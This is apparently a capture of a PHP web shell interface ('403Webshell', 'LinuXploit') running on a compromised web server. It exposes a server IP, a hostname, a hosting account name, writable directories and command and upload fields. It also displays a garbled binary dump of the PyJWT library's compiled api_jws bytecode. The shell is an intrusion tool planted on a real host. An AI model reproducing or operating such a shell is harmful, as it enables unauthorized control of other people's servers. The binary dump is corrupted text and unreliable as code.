403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.15.7.155
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python38/lib/python3.8/site-packages/jwt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python38/lib/python3.8/site-packages/jwt/__pycache__/api_jws.cpython-38.pyc
U

���_��@s�ddlZddlZddlmZddlmZmZmZmZm	Z	ddl
mZmZm
Z
mZddlmZmZmZmZddlmZmZGdd	�d	�Ze�ZejZejZejZejZejZejZdS)
�N)�Mapping)�Any�Dict�List�Optional�Type�)�	Algorithm�get_default_algorithms�
has_crypto�requires_cryptography)�DecodeError�InvalidAlgorithmError�InvalidSignatureError�InvalidTokenError)�base64url_decode�base64url_encodec@s�eZdZdZd!dd�Zedd��Zdd�Zd	d
�Zdd�Z	d"e
eeee
eeejed�dd�Zd#eeeee
e
eefd�dd�Zd$eeeee
ed�dd�Zdd�Zdd�Zd%dd�Zdd�Zdd �ZdS)&�PyJWSZJWTNcCsht�|_|dk	rt|�nt|j�|_t|j���D]}||jkr2|j|=q2|dkrVi}|��|�|_dS)N)r
�_algorithms�set�_valid_algs�list�keys�_get_default_options�options)�self�
algorithmsr�key�r�</opt/alt/python38/lib/python3.8/site-packages/jwt/api_jws.py�__init__s�

zPyJWS.__init__cCsddiS)N�verify_signatureTrrrrrr'szPyJWS._get_default_optionscCs>||jkrtd��t|t�s$td��||j|<|j�|�dS)zW
        Registers a new Algorithm for use when creating and verifying tokens.
        z Algorithm already has a handler.z!Object is not of type `Algorithm`N)r�
ValueError�
isinstancer	�	TypeErrorr�add)r�alg_id�alg_objrrr�register_algorithm+s


zPyJWS.register_algorithmcCs*||jkrtd��|j|=|j�|�dS)z�
        Unregisters an Algorithm for use when creating and verifying tokens
        Throws KeyError if algorithm is not registered.
        zJThe specified algorithm could not be removed because it is not registered.N)r�KeyErrorr�remove)rr&rrr�unregister_algorithm8s
�zPyJWS.unregister_algorithmcCs
t|j�S)zM
        Returns a list of supported values for the 'alg' parameter.
        )rr)rrrr�get_algorithmsFszPyJWS.get_algorithms�HS256)�payloadr�	algorithm�headers�json_encoder�returnc
Cs�g}|dkrd}||jkr|j|d�}|r>|�|�|�|�tj|d|d���}|�t|��|�t|��d�	|�}	z$|j
|}
|
�|�}|
�|	|�}Wn6t
k
r�ts�|tkr�td|��ntd��YnX|�t|��d�	|�}|�d�S)	NZnone)�typ�alg)�,�:)�
separators�cls�.zFAlgorithm '%s' could not be found. Do you have cryptography installed?�Algorithm not supported�utf-8)r�
header_typ�_validate_headers�update�json�dumps�encode�appendr�joinr�prepare_key�signr)rr�NotImplementedError�decode)
rr.rr/r0r1�segments�headerZjson_header�
signing_inputr'�	signature�encoded_stringrrrrALs>


�



��
zPyJWS.encode�)�jwtrrrr2cKsb|dkri}|j|�}|d}|r.|s.td��|�|�\}}	}
}|rV|�|	|
|||�||
|d�S)Nr!z\It is required that you pass in a value for the "algorithms" argument when calling decode().)r.rIrK)rr
�_load�_verify_signature)rrNrrr�kwargsZmerged_optionsr!r.rJrIrKrrr�decode_complete�s
��zPyJWS.decode_completecKs|j||||f|�}|dS)Nr.)rR)rrNrrrrQ�decodedrrrrG�szPyJWS.decodecCs|�|�d}|�|�|S)z�Returns back the JWT header parameters as a dict()

        Note: The signature is not verified so the header parameters
        should not be fully trusted until signature verification is complete
        �)rOr=)rrNr0rrr�get_unverified_header�s
zPyJWS.get_unverified_headerc
Cs�t|t�r|�d�}t|t�s,tdt����z$|�dd�\}}|�dd�\}}Wn,tk
r|}ztd�|�W5d}~XYnXzt|�}Wn2t	t
jfk
r�}ztd�|�W5d}~XYnXzt�
|�}Wn0tk
r�}	ztd|	�|	�W5d}	~	XYnXt|t��std��zt|�}
Wn4t	t
jfk
�rR}ztd	�|�W5d}~XYnXzt|�}Wn4t	t
jfk
�r�}ztd
�|�W5d}~XYnX|
|||fS)Nr;z$Invalid token type. Token must be a r9rzNot enough segmentszInvalid header paddingzInvalid header string: %sz,Invalid header string: must be a json objectzInvalid payload paddingzInvalid crypto padding)r#�strrA�bytesr
�rsplit�splitr"rr$�binascii�Errorr?�loadsr)rrNrJZcrypto_segmentZheader_segmentZpayload_segment�errZheader_datarI�er.rKrrrrO�s8


 zPyJWS._loadcCsr|�d�}|dk	r"||kr"td��z.|j|}|�|�}|�|||�sNtd��Wntk
rltd��YnXdS)Nr4z&The specified alg value is not allowedzSignature verification failedr:)�getrrrDZverifyrr))rrJrIrKrrr4r'rrrrP�s	


zPyJWS._verify_signaturecCsd|kr|�|d�dS)N�kid)�
_validate_kid)rr0rrrr=�szPyJWS._validate_headerscCst|t�std��dS)Nz(Key ID header parameter must be a string)r#rVr)rr`rrrra�s
zPyJWS._validate_kid)NN)r-NN)rMNN)rMNN)rMN)�__name__�
__module__�__qualname__r<r �staticmethodrr(r+r,rWrVrrrr?�JSONEncoderrArrrRrGrUrOrPr=rarrrrrsZ



��7�
� ��+�
r)rZr?�collections.abcr�typingrrrrrrr	r
rr�
exceptionsr
rrr�utilsrrrZ_jws_global_objrArRrGr(r+rUrrrr�<module>sf

Youez - 2016 - github.com/yon3zu
LinuXploit